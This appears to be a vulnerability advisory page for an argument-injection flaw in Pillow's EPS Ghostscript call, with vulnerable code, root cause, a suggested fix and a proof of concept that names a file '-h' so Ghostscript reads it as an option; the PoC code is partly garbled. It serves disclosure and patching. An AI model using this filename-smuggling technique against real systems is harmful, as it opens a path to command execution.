CVE-2026-112900: Pillow: Argument Injection in Ghostscript call, potentially leading into RCE
Critical
- OSV id
- GHSA-w889-685w-c8fh
- Also known as
- BIT-pillow-2026-112900, CVE-2026-112900
- Published
- Last modified
Affected packages
| Package | Affected versions | Fixed in |
|---|---|---|
| pillow PyPI |
>= 2.6.0, < 13.0.0 | 13.0.0 |
Versions we track that it affects: pillow 10.4.0
How to fix it
Upgrade pillow to 13.0.0 or later.
# in requirements.txt: change the line to pillow==13.0.0
pip install -r requirements.txt
- If it is an indirect dependency, upgrade the package that depends on it, or add a minimum version constraint for it (e.g. in constraints.txt, or as a dependency in pyproject.toml).
- Check the changelog for breaking changes (especially across major versions), update the lockfile with the package manager, and run your tests.
Not sure whether your project uses an affected version? Check your lockfile below for free.
Details
Summary
PIL.EpsImagePlugin.Ghostscript() builds the Ghostscript command line using the input file path (fp.name) without sanitization, placing it at -f <infile>. A filename beginning with - is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with -dSAFER enabled).
Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
Type
CWE-88 (Argument Injection) (→ CWE-78 (OS Command Injection) optionally, with attacker controlled text file)
Vulnerable Codes
infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
infile = fp.name # user-controlled path used as-is, without validation
else:
in_fd, infile_temp = tempfile.mkstemp()
os.close(in_fd)
infile = infile_temp
# ... (copy fp into a temporary file)
# Build Ghostscript command
command = [
gs_binary,
"-q",
f"-g{width:d}x{height:d}",
f"-r{res_x:f}x{res_y:f}",
"-dBATCH",
"-dNOPAUSE",
"-dSAFER", # default sandbox — does NOT stop this injection
f"-sDEVICE={device}",
f"-sOutputFile={outfile}",
"-c",
f"{-bbox[0]} {-bbox[1]} translate",
"-f",
infile, # injected here: inserted into argv with no check for
# option prefixes (-, --) or Ghostscript's @-file token
# => argument injection (CWE-88)
"-c",
"showpage",
]
# ...
subprocess.check_call(command, startupinfo=startupinfo) # spawns Ghostscript
Root cause.
When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f <infile> position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting.
Affected
- Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included).
- Component:
src/PIL/EpsImagePlugin.py,Ghostscript()—infile = fp.name, and the command list entry"-f", infile.
Suggested fix
Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (-/--) or as an argument-file token (@):
if hasattr(fp, "name") and os.path.exists(fp.name):
infile = os.path.abspath(fp.name) # was: infile = fp.name
os.path.abspath() guarantees the path starts with a path separator (or a drive letter on Windows), so a leading - or @ can no longer reach Ghostscript's argument parser. The else branch already builds a safe tempfile.mkstemp() path and needs no change.
PoC
dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py.
FROM ubuntu:24.04
RUN apt update
RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates
RUN rm -rf /var/lib/apt/lists/*
RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0
ENV PATH=/venv/bin:$PATH
WORKDIR /poc
COPY poc.py .
COPY poc-rce.py .
COPY arg .
CMD ["python3", "poc.py"]
poc.py ``` import os from PIL import Image
#
Attacker controlled file
#
EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"
name = "-h" with open(name, "wb") as f: f.write(EPS)
#
print(f"[] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[] call load(); this paths calls gs command with '-f {name}'")
try:
im.load()
except Exception as e:
print(f"[*] load() raised: {type(e).name}: {e}")
print("CWE-88: argument injection; Pillow code doesn't validate argument name") print(" This poc.py shows the vulnerability clearly.") print("
References
- GHSA-w889-685w-c8fh on OSV.dev
- Web: https://github.com/python-pillow/Pillow/security/advisories/GHSA-w889-685w-c8fh
- Advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-112900
- Web: https://github.com/python-pillow/Pillow/commit/a2c363141da31a265dd536c945677db4b64f3ec9
- Package: https://github.com/python-pillow/Pillow
- Web: https://github.com/python-pillow/Pillow/releases/tag/13.0.0
Am I affected?
Upload or paste your lockfile. We check every package version in it against OSV.dev, this advisory included, and email you the vulnerable ones with the version that fixes them. Free, and no account needed.
About this data
Source: GitHub Advisory Database via OSV.dev (CC-BY 4.0). Severity comes from the advisory's own rating when it has one, else from its CVSS score.